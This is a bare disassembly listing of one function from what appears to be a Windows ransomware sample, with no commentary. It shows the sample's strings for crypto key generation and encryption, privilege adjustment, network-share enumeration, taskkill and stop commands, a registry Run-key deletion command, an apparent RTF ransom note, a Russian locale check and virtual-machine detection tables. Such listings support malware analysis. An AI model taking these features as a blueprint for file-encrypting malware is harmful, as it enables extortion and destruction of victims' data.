mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 4
push str..
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002590
add esp, 0x10
push 0xe
push str.CryptDeriveKey
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0x18
push str.CreateToolhelp32Snapshot
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 9
push str.CopyFileA
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0x7c
push str._C_REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun___v__EV___f
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002590
add esp, 0x10
push 0xc
push str.CreateThread
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 9
push 0x3501dec4
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0xb
push str.CloseHandle
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xf
push str.RegDeleteValueW
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0x10
push str.GetModuleHandleA
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0xb
push str.closesocket
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xc
push str.CryptEncrypt
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 8
push str.ReadFile
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0x14
push str.GetWindowsDirectoryW
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xd
push str.FindNextFileW
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 7
push str.WINDOWS
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002590
add esp, 0x10
push 0x10
push str.RegQueryValueExA
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xc
push str.Kernel32.dll
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0xc
push str.GetUserNameA
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 3
push 0x3501dde4
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xb
push str.CryptGenKey
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0x16
push str.WaitForMultipleObjects
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 8
push str.taskkill
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002590
add esp, 0x10
push 9
push str.ole32.dll
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0x11
push str.GetCurrentProcess
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0xf
push str.OpenThreadToken
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0x15
push str.AdjustTokenPrivileges
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 6
push str.sendto
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0x10
push str.OpenProcessToken
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xd
push str.ShellExecuteW
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0xe
push str.OpenSCManagerW
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 2
push 0x3501e2f0
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002590
add esp, 0x10
push 0xc
push str.LoadLibraryA
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0xe0
push str._rtf1_ansi_ansicpg1252deff0_nouicompat_fonttbl_f0_fnil_fcharset0_Times_New_Roman__f1_fnil_fcharset0_Calibri__r_ngenerator_Riched20_10.0.14393_viewkind4uc1__r_npard_ri_1782_sa200_sl276_slmult1_b_f0_fs34lang9par_r_n
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 6
push str.stop__
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002590
add esp, 0x10
push 4
push str.file
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002590
add esp, 0x10
push 0x10
push str.CreateDirectoryW
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0x11
push str.WNetEnumResourceW
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 4
push str.0419
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 3
push 0x3501e62c
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0xf
push str.IcmpCloseHandle
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xd
push str.WNetOpenEnumW
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
push 0xc
push str.explorer.exe
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002520
add esp, 0x10
push 0xc
push str.GetTempPathW
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002520
add esp, 0x10
push 0xf
push str.CryptDestroyKey
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002520
add esp, 0x10
mov dword [ebp - 0x14], 0
jmp 0x350060cc
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x29
jae 0x3500612c
imul ecx, dword [ebp - 0x14], 0x32
add ecx, str.virtual
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
add edx, 2
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x10]
mov cx, word [eax]
mov word [ebp - 0x26], cx
add dword [ebp - 0x10], 2
cmp word [ebp - 0x26], 0
jne 0x350060e8
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x48]
sar edx, 1
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
push eax
imul ecx, dword [ebp - 0x14], 0x32
add ecx, str.virtual
push ecx
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x83c]
push eax
call fcn.35002590
add esp, 0x10
jmp 0x350060c3
mov dword [ebp - 0x1c], 0
jmp 0x3500613e
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], 0x40
jae 0x3500619e
imul edx, dword [ebp - 0x1c], 0x32
add edx, str.vmcomp
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
add eax, 2
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x18]
mov dx, word [ecx]
mov word [ebp - 0x28], dx
add dword [ebp - 0x18], 2
cmp word [ebp - 0x28], 0
jne 0x3500615a
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x50]
sar eax, 1
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x54]
push ecx
imul edx, dword [ebp - 0x1c], 0x32
add edx, str.vmcomp
push edx
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x83c]
push ecx
call fcn.35002590
add esp, 0x10
jmp 0x35006135
mov dword [ebp - 0x24], 0
jmp 0x350061b0
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0x24], 8
jae 0x3500620e
imul eax, dword [ebp - 0x24], 0x32
add eax, 0x3501d4c0
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
add ecx, 2
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0x20]
mov ax, word [edx]
mov word [ebp - 0x2a], ax
add dword [ebp - 0x20], 2
cmp word [ebp - 0x2a], 0
jne 0x350061cb
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x58]
sar ecx, 1
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0x5c]
push edx
imul eax, dword [ebp - 0x24], 0x32
add eax, 0x3501d4c0
push eax
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x83c]
push edx
call fcn.35002590
add esp, 0x10
jmp 0x350061a7
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret